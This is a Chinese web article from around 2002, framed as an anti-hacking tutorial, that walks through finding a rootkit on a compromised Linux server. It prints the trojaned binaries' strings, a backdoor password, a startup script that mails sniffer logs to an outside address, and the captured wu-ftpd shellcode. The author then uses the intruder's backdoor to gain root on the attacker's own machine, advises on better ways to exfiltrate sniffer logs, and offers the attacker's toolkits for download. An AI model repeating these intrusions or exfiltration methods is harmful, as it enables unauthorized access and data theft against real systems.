反黑教材
/ns/hk/hacker/data/20020807024300.htm
					
 
 
反黑教材 
本文来自:http://us2001.home.sohu.com/ 2001联盟  
可能是节假日的原因,hack事件特别多,我就遇到了两次  
1.昨天当我查询我的一台机器时,意外的发现有人入侵了 其实是我自己的失误,没有打上wuftpd26的补丁,  
又没有改/etc/ftpusers 让人轻易的利用wuftpd26的远程漏洞用匿名用户进入了我的机器。不过这位朋  
友显然未加考虑的使用了rootkit,结果造成ps 输出的结果是这样:  
[root@ns]# ps  
PID TTY STAT TIME COMMAND  
678 1 S 0:00 /sbin/mingetty tty1  
679 2 S 0:00 /sbin/mingetty tty2  
680 3 S 0:00 /sbin/mingetty tty3  
681 4 S 0:00 /sbin/mingetty tty4  
682 5 S 0:00 /sbin/mingetty tty5  
683 6 S 0:00 /sbin/mingetty tty6  
5557 ? S 0:00 /bin/sh -i  
5591 ? R 0:00 ps  
这样的输出结果我想谁看了都知道是个什么意思。那么就让我们一步一步看看他做了些什么吧  
[这位hack没有想到这机器已经早有主人了,并且安装了自己的rootkit工具包]  
[root@ns]# strings /bin/login|more  
..........  
__bss_start  
_end  
PPRV  
DISPLAY  
/bin/envpc  
l4m3r0x  
/bin/sh  
从上可以看出是个login后门,通过export PATH="l4m3r0x"后,直接telnet对方就能得到#  
[root@ns]# strings /bin/ls|more  
.....  
always  
/usr/local/share/locale  
fileutils  
GNU fileutils-3.13  
vdir  
%s - %s  
/dev/sgk/.fsdc/.1file  
file://DIRED//  
file://SUBDIRED//  
POSIXLY_CORRECT  
COLUMNS   
注意看了, /dev/sgk/.fsdc/.1file这就是他rootkit文件放的位置了,那么让我们看看那儿都有些什么吧  
[root@ns]# mv /dev/sgk/.fsdc/.1file /tmp   
[root@ns]# ls -la /dev/sgk/.fsdc  
total 641  
drwxr-xr-x 5 root ftp 1024 Feb 4 09:01 .  
drwxr-xr-x 3 root ftp 1024 Feb 2 17:11 ..  
-rw-r--r-- 1 root ftp 7 Feb 2 17:11 .1logz  
-rw-r--r-- 1 root ftp 88 Feb 2 17:11 .1proc  
drwxr-xr-x 2 root ftp 1024 Feb 2 17:11 backup  
drwxrwxr-x 2 lujiang lujiang 1024 Feb 2 17:14 clean  
-rwxr-xr-x 1 lujiang lujiang 5578 Nov 18 11:08 filetrans  
-rwxr-xr-x 1 lujiang lujiang 9396 Aug 23 1999 killall-real  
-rwxr-xr-x 1 lujiang lujiang 7578 Aug 21 17:22 parse  
-rwxr-xr-x 1 lujiang lujiang 6232 Sep 9 1999 parse1  
drwxrwxr-x 2 lujiang lujiang 1024 Jan 28 16:34 patches  
-rwxr-xr-x 1 lujiang lujiang 28004 Aug 23 1999 ps-real  
-rwxr-xr-x 1 lujiang lujiang 580696 Feb 18 2000 ssh  
-rw-r--r-- 1 root ftp 1398 Feb 4 08:55 system  
呵呵,看来东西还真不少,从ftp可以知道他是利用的ftP漏洞,从lujiang知道他还窃取了个本地用户  
[root@ns .fsdc]# cat .1logz  
rshd  
[root@ns .fsdc]# cat .1proc  
3 nscd  
2 nmap  
2 lscan  
2 login  
2 lpset  
2 xtty  
2 nscd  
3 statd  
3 lpq  
3 scan  
3 sniff  
3 envpc  
[root@ns .fsdc]# cat /tmp/.1file  
sgk  
.fsdc  
.clib  
.1proc  
.1addr  
.1file  
.1logz  
envpc  
xtty  
pttys  
filetrans  
lpset  
libload  
system  
parse  
.1logz是被syslogd调用,隐藏所列出命令所产生的记录.   
.1proc被ps命令调用.隐藏所列出的进程名称  
.1file被ls,find命令掉用.隐藏所列出的文件名,  
[root@ns .fsdc]# cd patches  
[root@ns patches]# cat patch.sh  
#!/bin/sh  
echo "[1] Patching WU-FTPd..."  
rpm -Uhv wuftpd.rpm  
echo "[2] Patching NFS-utils..."  
rpm -Fvh nfs-utils.rpm  
ps aux >> /tmp/psaux  
if [ "`cat /tmp/psaux | grep rpc.statd`" ]; then  
echo "[3] Restarting the rpc.statd daemon (NFS-utils)"  
/etc/rc.d/init.d/nfslock restart  
else  
echo "[4] The daemon rpc.statd isn't running, so no need to restart!"  
fi  
rm /tmp/psaux  
这是个为wuftpd和rpc.statd漏洞准备的补丁包[我很赞赏此君的做法]  
其他的文件目录我就没有仔细看了[这些打包后会提供下载]  
根据.1file的隐藏文件列表我们一一找到了这些文件.  
[root@ns .fsdc]# strings /usr/bin/xtty  
......  
PPRV  
(nfsiod)  
socket  
bind  
listen  
accept  
/bin/sh  
不难看出是个后门  
[root@ns .fsdc]# strings /dev/pttys  
#!/bin/sh  
cat /dev/sgk/.fsdc/system | mail prosupp@usa.net >/dev/null 2>&1  
nohup /usr/lib/lpset > /dev/null &  
nohup /usr/bin/xtty > /dev/null &  
rm -rf nohup.out  
这位hack很聪明,通过此脚本就可以把嗅探记录发往prosupp@usa.net [/dev/sgk/.fsdc/system是个嗅探记录]  
[root@ns .fsdc]# cat /etc/rc.d/rc.sysinit|more  
..........  
if [ "$PROMPT" != "no" ]; then  
/sbin/getkey i && touch /var/run/confirm  
fi  
wait  
# Name Server Cache Daemon..  
/usr/sbin/nscd -q  
# Name Server Cache Daemon..  
/usr/sbin/nscd -q  
# Kernel module checker  
/usr/lib/libload > /dev/null 2>&1  
[root@ns bak]# strings /usr/sbin/nscd|more  
+Q$9  
/usr/info/.clib/sshd_config  
Received SIGHUP; restarting.  
RESTART FAILED: av[0]='%.100s', error: %.100s.  
Received signal %d; terminating.  
Timeout before authentication.  
Generating new %d bit RSA key.  
RSA key generation complete.  
f:p:b:k:h:g:diqV:  
i686-unknown-linux  
1.2.27  
sshd version %s [%s]  
Usage: %s [options]  
Options:  
/usr/info/.clib存放着一个ssh后门,这样机器启动后都会为hack开放方便之门.  
[root@ns .fsdc]# strings /sbin/syslogd  
============================================================  
Time: %s Size: %d  
Path: %s  
=> %s [%d]  
------------------------------------------------------------  
Exiting...  
cant get SOCK_PACKET socket  
cant get flags  
cant set promiscuous mode  
/dev/null  
eth0  
system  
cant open log  
这位hack改动了syslogd文件,变成了一个sniffer  
。。。。。。。。。。  
接下来就是还原系统了,修改被窃取的帐号密码。这就不在这里表诉了,从我的嗅探记录我知道了他是从这两台机器上来的  
[root@ns man]# more system2  
============================================================  
Time: Fri Feb 2 17:26:07 Size: 1056  
Path: 210.217.237.75 => ns.xxx.cn [21]  
------------------------------------------------------------  
##g#>4h#>4hUSER ftp  
#>hPASS 111F11CA?k^11^Ff'1^=11^C11^u1F^=0F1FvFNV110bin0sh1..11  
#>h<#?hsite exec xx(%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%. 
f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f 
%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f% 
.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%. 
f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f 
%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%c%c%c%.f|%p 
#@@h 
============================================================ 
Time: Sat Feb 3 06:01:39 Size: 44 
Path: 216.12.101.4 => ns.xxx.cn [21]  
------------------------------------------------------------  
@c@ (B@  
============================================================  
从上可知hack是从210.217.237.75攻击的,根据习惯,通常都会做一样的后门,所以  
[root@ns man]# export DISPLAY="l4m3r0x"  
[root@ns man]# telnet 210.217.237.75  
Trying 210.217.237.75...  
Connected to 210.217.237.75.  
Escape character is '^]'.  
Boramae Cache Server 3.5.1  
bash# w  
7:48pm up 71 days, 9:43, 1 user, load average: 0.00, 0.00, 0.00  
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT  
root tty1 - 25Nov 0 31days 0.08s 0.05s -bash  
于是我成了这台机器的root  
bash# ps -ef  
PID TTY STAT TIME COMMAND  
940 2 S 0:00 /sbin/mingetty tty2 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO  
941 3 S 0:00 /sbin/mingetty tty3 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO  
942 4 S 0:00 /sbin/mingetty tty4 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO  
943 5 S 0:00 /sbin/mingetty tty5 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO  
944 6 S 0:00 /sbin/mingetty tty6 HOME=/ TERM=linux BOOT_IMAGE=linux AUTO  
957 1 S 0:00 -bash HOME=/root PATH=/sbin:/bin:/usr/sbin:/usr/bin SHELL=/  
22151 ? S 0:00 -bash HOME=/root USER=root LOGNAME=root PATH=/usr/bin:/bin:  
22178 ? S 0:00 \_ ../ssh -l pthl mega.ee.tu-berlin.de LESSOPEN=|/usr/bin/  
。。。。。。。。。。  
呵呵,看来这台机器跟那台是一样的啊,于是我rcp来了自己的ps,结果看到的情况真是大吃一惊!  
root 13204 1 0 2000 ? 00:00:00 /usr/sbin/inetd   
root 13211 1 0 2000 ? 00:00:55 /usr/lib/lpset [后门]  
root 13243 1 0 2000 ? 00:00:00 /sbin/syslogd [sniffer]  
root 24287 1 0 Jan14 ? 00:00:00 ./nscd [后门]  
root 19968 1 0 Jan25 ? 00:00:06 ./wu -s0 -t 203.167.30.10 [wuftpd攻击程序]  
root 26042 13191 0 Jan28 ? 00:00:00 [sh ]  
root 26144 13191 0 Jan28 ? 00:00:00 [sh ]  
root 4395 13191 0 Jan29 ? 00:00:00 [xtty ]后门  
root 22149 13125 0 18:23 ? 00:00:00 /usr/sbin/nscd -q [后门]  
root 22151 22149 0 18:23 pts/0 00:00:00 -bash  
root 22178 22151 0 18:24 pts/0 00:00:00 ../ssh -l pthl mega.ee.tu-berlin 正在连接一台机器  
root 22231 13125 0 19:11 ? 00:00:00 /usr/sbin/nscd -q  
root 22235 22231 0 19:13 pts/2 00:00:00 -bash  
root 22679 13204 0 19:48 ? 00:00:00 in.telnetd: 203.93.xxx.xxx [呵呵,自己]  
root 22680 22679 0 19:48 pts/3 00:00:00 /bin/login -h 203.93.xxx.xxx -p  
root 22681 22680 0 19:48 pts/3 00:00:00 /bin/sh  
root 22851 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.193.46.60  
root 22852 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.191.47.60  
root 22854 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.139.19.60 [正在扫描wuftpd漏洞  
root 22856 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.82.89.60 并且完成攻击,保存记root 22857 1 0 20:03 pts/2 00:00:00 ./wumail -s0 -t 195.16.136.60 录]  
..........  
[root@proxy .fsdc]# ls -la  
total 2240  
drwxr-xr-x 6 root ftp 4096 Feb 4 10:57 .  
drwxr-xr-x 3 root ftp 4096 Dec 29 22:48 ..  
-rw-r--r-- 1 root ftp 7 Dec 29 22:48 .1logz  
-rw-r--r-- 1 root ftp 88 Dec 29 22:48 .1proc  
drwxr-xr-x 2 root ftp 4096 Dec 29 22:48 backup  
drwxrwxr-x 2 admin admin 4096 Dec 29 22:51 clean  
-rwxr-xr-x 1 admin admin 5578 Nov 18 11:08 filetrans  
-rwxr-xr-x 1 admin admin 9396 Aug 23 1999 killall-real  
-rwxr-xr-x 1 admin admin 7578 Aug 21 17:22 parse  
..........  
看来这位朋友一直都没有使用touch,chown的习惯,没有改变时间和属主名[我想这里是他的家了,里面的  
工具相当完整,还有大量的嗅探记录,扫描工具,漏洞程序,补丁]  
至于如何寻找这些后门前面已经讲过了,这里就不提了。  
最后来说说这位hack的不足之处和值得借鉴的地方:  
1. 没考虑ps命令修改后是否适用的问题 [在另一文中我将提供修改过的ps源程序]  
2. 没给机器做一次检查,现在的机器还有这种明显漏洞说不定早有人捷足先登了,也没看看是否有  
sniffer在运行  
3.后门过多,我个人不赞成修改/etc/rc.d下面的文件,因为太容易看出  
4.有做相同后门的习惯,[这是个难以克服的缺点,包括我]  
5。给机器打上补丁是种聪明的做法,  
6。通过mail程序发送嗅探记录是个好办法,但我个人认为在cron里面做要好点,定时间发送,发送完后清  
空记录,至少我是这样做的  
其实这种事情在前几天我都遇见过一次,有位来自61.153.xxx.xxx的朋友的通过他的一台ip为202.103.xxx.xxx  
的redhat6.2机器[他在那机器上安装了个login后门,但很遗憾未给机器打上补丁,后被我所用]进入一个irix  
系统,当时我正在线上,于是用了他一样的办法rlogin -l sysadm xxxxx进入了那个irix机器[这并非是个简  
单的 .rhost后门,源程序提供下载]我打包了他的工具,供大家使用.  
给管理人员的建议:  
1.杜绝远程漏洞,打上补丁  
2.如果要使用telnet,ftp, 那么建议修改端口/etc/services  
3.把echo 1 > /proc/sys/net/ipv4/icmp_echo_igore_all 添加到/etc/rc.d/rc.loacl中,使本机不被ping成功,这样减少不必要的干扰  
4.经常使用rpm命令查看是否常用命令被修改  
下面提供这些包的下载[供大家分析][三天过后将删除这些包] (全部没有了)  
http://202.108.34.22/manual/hack-1.tar.gz [另外一台机器上得到的东西]  
http://202.108.34.22/manual/hack-3.tar.gz [这篇文章中那位hack所用的工具包,内容相当丰富]  
http://202.108.34.22/manual/hack-irix.tar.gz [文末中提到那位61.153.xxx.xxx的朋友所用的工具包]